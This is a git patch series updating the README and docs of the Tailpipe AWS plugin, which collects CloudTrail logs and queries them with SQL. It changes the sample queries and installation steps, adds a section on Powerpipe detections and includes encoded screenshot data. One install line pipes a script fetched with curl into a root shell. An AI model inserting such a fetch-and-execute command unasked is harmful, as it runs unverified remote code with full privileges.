aws_cloudtrail_log where not read_only group by event_source, event_name order by event_count desc; -+----------------------+-----------------------+----------------------+-------------+ -| event_source | event_name | recipient_account_id | event_count | -+----------------------+-----------------------+----------------------+-------------+ -| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | -| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | -| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | -| s3.amazonaws.com | PutObject | 789012345678 | 60842 | -| sns.amazonaws.com | TagResource | 456789012345 | 25499 | -| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | -+----------------------+-----------------------+----------------------+-------------+ ++----------------------+-----------------------+-------------+ +| event_source | event_name | event_count | ++----------------------+-----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 793845 | +| ecs.amazonaws.com | RunTask | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 190185 | +| s3.amazonaws.com | PutObject | 60842 | +| sns.amazonaws.com | TagResource | 25499 | +| lambda.amazonaws.com | TagResource | 20673 | ++----------------------+-----------------------+-------------+ ``` ## Getting Started @@ -42,7 +46,7 @@ Install the [plugin](https://hub.tailpipe.io/plugins/turbot/aws): tailpipe plugin install aws ``` -Configure your connection credentials, table partition, and data source: +Configure your [connection credentials](https://tailpipe.io/docs/reference/config-files/connection/aws), [table partition](https://tailpipe.io/docs/manage/partition), and [data source](https://tailpipe.io/docs/manage/source): ```sh vi ~/.tailpipe/config/aws.tpc @@ -67,6 +71,11 @@ Download, enrich, and save logs from your S3 bucket: tailpipe collect aws_cloudtrail_log ``` +> [!NOTE] +> When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. +> +> For more information, please see [Managing Collection](https://tailpipe.io/docs/manage/collection). + Enter interactive query mode: ```sh @@ -76,80 +85,37 @@ tailpipe query Run a query: ```sql -select event_source, event_name, recipient_account_id, count(*) as event_count +select event_source, event_name, count(*) as event_count from aws_cloudtrail_log where not read_only -group by event_source, event_name, recipient_account_id +group by event_source, event_name order by event_count desc; ``` For example: ```sh -+----------------------+-----------------------+----------------------+-------------+ -| event_source | event_name | recipient_account_id | event_count | -+----------------------+-----------------------+----------------------+-------------+ -| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | -| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | -| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | -| s3.amazonaws.com | PutObject | 789012345678 | 60842 | -| sns.amazonaws.com | TagResource | 456789012345 | 25499 | -| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | -+----------------------+-----------------------+----------------------+-------------+ ++----------------------+-----------------------+-------------+ +| event_source | event_name | event_count | ++----------------------+-----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 793845 | +| ecs.amazonaws.com | RunTask | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 190185 | +| s3.amazonaws.com | PutObject | 60842 | +| sns.amazonaws.com | TagResource | 25499 | +| lambda.amazonaws.com | TagResource | 20673 | ++----------------------+-----------------------+-------------+ ``` -## Credentials - -By default, the following environment variables will be used for authentication: - -- `AWS_PROFILE` -- `AWS_ACCESS_KEY_ID` -- `AWS_SECRET_ACCESS_KEY` +## Detections as Code with Powerpipe -You can also create `connection` resources in configuration files: - -```sh -vi ~/.tailpipe/config/aws.tpc -``` - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -connection "aws" "aws_access_key_pair" { - access_key = "AKIA..." - secret_key = "dP+C+J..." -} - -connection "aws" "aws_session_token" { - access_key = "AKIA..." - secret_key = "dP+C+J..." - session_token = "AQoDX..." -} -``` +Pre-built dashboards and detections for the AWS plugin are available in [Powerpipe](https://powerpipe.io) mods, helping you monitor and analyze activity across your AWS accounts. -For more information on AWS connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). +For example, the [AWS CloudTrail Logs Detections mod](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-aws-cloudtrail-log-detections) scans your CloudTrail logs for anomalies, such as an S3 bucket being made public or a change in your VPC network infrastructure. -### Log Collection 2 +Dashboards and detections in this mod and others are written as code, making them easy to customize and adapt to your specific requirements. -When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. - -You can override the default behaviour by specifying `--from`: - -```sh -tailpipe collect aws_cloudtrail_log --from 2025-01-01 -``` - -You can also use relative times. For instance, to collect logs from the last 60 days: - -```sh -tailpipe collect aws_cloudtrail_log --from T-60d -``` - -Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. - -For additional examples on using `tailpipe collect`, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. +To get started, browse the [Powerpipe Mods for the AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws/mods) and follow the instructions provided for each mod. ## Developing @@ -171,6 +137,15 @@ After making your local changes, build the plugin, which automatically installs make ``` +> [!TIP] +> Please change the `aws_cloudtrail_log` table name in the commands below to match the name of the table you modified. + +Re-collect your data: + +``` +tailpipe collect aws_cloudtrail_log +``` + Try it! ``` diff --git a/docs/index.md b/docs/index.md index 40d6baa3..fe5f8ed8 100644 --- a/docs/index.md +++ b/docs/index.md @@ -15,13 +15,18 @@ og_image: "/images/plugins/turbot/aws-social-graphic.png" [AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. +The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! + +- Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) +- Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) +- Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) + For example: ```sql select event_source, event_name, - recipient_account_id, count(*) as event_count from aws_cloudtrail_log @@ -29,162 +34,111 @@ where not read_only group by event_source, - event_name, - recipient_account_id + event_name order by event_count desc; ``` ```sh -+----------------------+-----------------------+----------------------+-------------+ -| event_source | event_name | recipient_account_id | event_count | -+----------------------+-----------------------+----------------------+-------------+ -| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | -| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | -| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | -| s3.amazonaws.com | PutObject | 789012345678 | 60842 | -| sns.amazonaws.com | TagResource | 456789012345 | 25499 | -| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | -+----------------------+-----------------------+----------------------+-------------+ ++----------------------+-----------------------+-------------+ +| event_source | event_name | event_count | ++----------------------+-----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 793845 | +| ecs.amazonaws.com | RunTask | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 190185 | +| s3.amazonaws.com | PutObject | 60842 | +| sns.amazonaws.com | TagResource | 25499 | +| lambda.amazonaws.com | TagResource | 20673 | ++----------------------+-----------------------+-------------+ ``` -## Documentation - -- **[Table configuration and definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** -- **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** -- **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** - ## Getting Started -### Installation +Install Tailpipe from the [downloads](https://tailpipe.io/downloads) page: -Download and install Tailpipe (https://tailpipe.io/downloads). Or use Brew: +```sh +# MacOS +brew install turbot/tap/tailpipe +``` ```sh -brew tap turbot/tap -brew install tailpipe +# Linux or Windows (WSL) +sudo /bin/sh -c "$(curl -fsSL https://tailpipe.io/install/tailpipe.sh)" ``` -Install the plugin: +Install the [plugin](https://hub.tailpipe.io/plugins/turbot/aws): ```sh tailpipe plugin install aws ``` -### Configuration - -Configure your log source: +Configure your [connection credentials](https://tailpipe.io/docs/reference/config-files/connection/aws), [table partition](https://tailpipe.io/docs/manage/partition), and [data source](https://tailpipe.io/docs/manage/source): ```sh vi ~/.tailpipe/config/aws.tpc ``` ```hcl -connection "aws" "aws_profile" { - profile = "my-profile" +connection "aws" "logging_account" { + profile = "my-logging-account" } partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { - connection = connection.aws.aws_profile + connection = connection.aws.logging_account bucket = "aws-cloudtrail-logs-bucket" } } ``` -### Log Collection - -Collect logs: +Download, enrich, and save logs from your S3 bucket: ```sh tailpipe collect aws_cloudtrail_log ``` -When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. +> [!NOTE] +> When running `tailpipe collect` for the first time, logs from the last 7 days are collected. Subsequent `tailpipe collect` runs will collect logs from the last collection date. +> +> For more information, please see [Managing Collection](https://tailpipe.io/docs/manage/collection). -You can override the default behaviour by specifying `--from`: +Enter interactive query mode: ```sh -tailpipe collect aws_cloudtrail_log --from 2025-01-01 +tailpipe query ``` -You can also use relative times. For instance, to collect logs from the last 60 days: - -```sh -tailpipe collect aws_cloudtrail_log --from T-60d -``` - -Please note that if you specify a date in `--from`, Tailpipe will delete any collected data for that partition starting from that date to help avoid gaps in the data. - -For additional examples on using `tailpipe collect`, please see [tailpipe collect](https://tailpipe.io/docs/reference/cli/collect) reference documentation. - -### Query - Run a query: ```sql -select event_source, event_name, recipient_account_id, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name, recipient_account_id order by event_count desc; +select event_source, event_name, count(*) as event_count +from aws_cloudtrail_log +where not read_only +group by event_source, event_name +order by event_count desc; ``` For example: ```sh -+----------------------+-----------------------+----------------------+-------------+ -| event_source | event_name | recipient_account_id | event_count | -+----------------------+-----------------------+----------------------+-------------+ -| logs.amazonaws.com | CreateLogStream | 123456789012 | 793845 | -| ecs.amazonaws.com | RunTask | 456789012345 | 350836 | -| ecs.amazonaws.com | SubmitTaskStateChange | 456789012345 | 190185 | -| s3.amazonaws.com | PutObject | 789012345678 | 60842 | -| sns.amazonaws.com | TagResource | 456789012345 | 25499 | -| lambda.amazonaws.com | TagResource | 123456789012 | 20673 | -+----------------------+-----------------------+----------------------+-------------+ ++----------------------+-----------------------+-------------+ +| event_source | event_name | event_count | ++----------------------+-----------------------+-------------+ +| logs.amazonaws.com | CreateLogStream | 793845 | +| ecs.amazonaws.com | RunTask | 350836 | +| ecs.amazonaws.com | SubmitTaskStateChange | 190185 | +| s3.amazonaws.com | PutObject | 60842 | +| sns.amazonaws.com | TagResource | 25499 | +| lambda.amazonaws.com | TagResource | 20673 | ++----------------------+-----------------------+-------------+ ``` -## Credentials - -By default, the following environment variables will be used for authentication: - -- `AWS_PROFILE` -- `AWS_ACCESS_KEY_ID` -- `AWS_SECRET_ACCESS_KEY` - -You can also create `connection` resources in configuration files: - -```sh -vi ~/.tailpipe/config/aws.tpc -``` - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -connection "aws" "aws_access_key_pair" { - access_key = "AKIA..." - secret_key = "dP+C+J..." -} - -connection "aws" "aws_session_token" { - access_key = "AKIA..." - secret_key = "dP+C+J..." - session_token = "AQoDX..." -} -``` - -For more information on AWS connections in Tailpipe, please see [Managing AWS Connections](https://tailpipe.io/docs/reference/config-files/connection/aws). - -## Open Source & Contributing - -This repository is published under the [Apache 2.0](https://www.apache.org/licenses/LICENSE-2.0) (source code) and [CC BY-NC-ND](https://creativecommons.org/licenses/by-nc-nd/2.0/) (docs) licenses. Please see our [code of conduct](https://github.com/turbot/.github/blob/main/CODE_OF_CONDUCT.md). We look forward to collaborating with you! - -[Tailpipe](https://tailpipe.io) is a product produced from this open source software, exclusively by [Turbot HQ, Inc](https://turbot.com). It is distributed under our commercial terms. Others are allowed to make their own distribution of the software, but cannot use any of the Turbot trademarks, cloud services, etc. You can learn more in our [Open Source FAQ](https://turbot.com/open-source). +## Detections as Code with Powerpipe -## Get Involved +Pre-built dashboards and detections for the AWS plugin are available in [Powerpipe](https://powerpipe.io) mods, helping you monitor and analyze activity across your AWS accounts. -**[Join #tailpipe on Slack →](https://turbot.com/community/join)** +For example, the [AWS CloudTrail Logs Detections mod](https://hub.powerpipe.io/mods/turbot/tailpipe-mod-aws-cloudtrail-log-detections) scans your CloudTrail logs for anomalies, such as an S3 bucket being made public or a change in your VPC network infrastructure. -Want to help but don't know where to start? Pick up one of the `help wanted` issues: +Dashboards and detections in this mod and others are written as code, making them easy to customize and adapt to your specific requirements. -- [Tailpipe](https://github.com/turbot/tailpipe/labels/help%20wanted) -- [AWS Plugin](https://github.com/turbot/tailpipe-plugin-aws/labels/help%20wanted) +To get started, browse the [Powerpipe Mods for the AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws/mods) and follow the instructions provided for each mod. From d6a4bce0397a61c1bf94f44d4c3617407034800a Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Mon, 27 Jan 2025 22:23:29 -0500 Subject: [PATCH 157/180] Add screenshots to README and index doc, minor table doc cleanup --- README.md | 21 ++++------- docs/images/aws_cloudrail_log_terminal.png | Bin 0 -> 493749 bytes .../aws_cloudtrail_log_mitre_dashboard.png | Bin 0 -> 485100 bytes docs/index.md | 34 ++---------------- docs/sources/aws_s3_bucket.md | 4 --- docs/tables/aws_cloudtrail_log/index.md | 2 +- 6 files changed, 10 insertions(+), 51 deletions(-) create mode 100644 docs/images/aws_cloudrail_log_terminal.png create mode 100644 docs/images/aws_cloudtrail_log_mitre_dashboard.png diff --git a/README.md b/README.md index 81d628ea..71dcd7a2 100644 --- a/README.md +++ b/README.md @@ -11,20 +11,11 @@ The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows - Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) - Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) -```sh -select event_source, event_name, count(*) as event_count from aws_cloudtrail_log where not read_only group by event_source, event_name order by event_count desc; +Collect and query logs: +![image](https://raw.githubusercontent.com/turbot/tailpipe-mod-aws-cloudtrail-log-detections/develop/docs/images/aws_cloudtrail_log_terminal.png) -+----------------------+-----------------------+-------------+ -| event_source | event_name | event_count | -+----------------------+-----------------------+-------------+ -| logs.amazonaws.com | CreateLogStream | 793845 | -| ecs.amazonaws.com | RunTask | 350836 | -| ecs.amazonaws.com | SubmitTaskStateChange | 190185 | -| s3.amazonaws.com | PutObject | 60842 | -| sns.amazonaws.com | TagResource | 25499 | -| lambda.amazonaws.com | TagResource | 20673 | -+----------------------+-----------------------+-------------+ -``` +Run detections in a dashboard: +![image](https://raw.githubusercontent.com/turbot/tailpipe-mod-aws-cloudtrail-log-detections/develop/docs/images/aws_cloudtrail_log_mitre_dashboard.png) ## Getting Started @@ -40,7 +31,7 @@ brew install turbot/tap/tailpipe sudo /bin/sh -c "$(curl -fsSL https://tailpipe.io/install/tailpipe.sh)" ``` -Install the [plugin](https://hub.tailpipe.io/plugins/turbot/aws): +Install the plugin: ```sh tailpipe plugin install aws @@ -138,7 +129,7 @@ make ``` > [!TIP] -> Please change the `aws_cloudtrail_log` table name in the commands below to match the name of the table you modified. +> Replace `aws_cloudtrail_log` with your table's name if it's different. Re-collect your data: diff --git a/docs/images/aws_cloudrail_log_terminal.png b/docs/images/aws_cloudrail_log_terminal.png new file mode 100644 index 0000000000000000000000000000000000000000..86a7a853ca3d0574dc2d63cf762657e561ad0bff GIT binary patch literal 493749 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 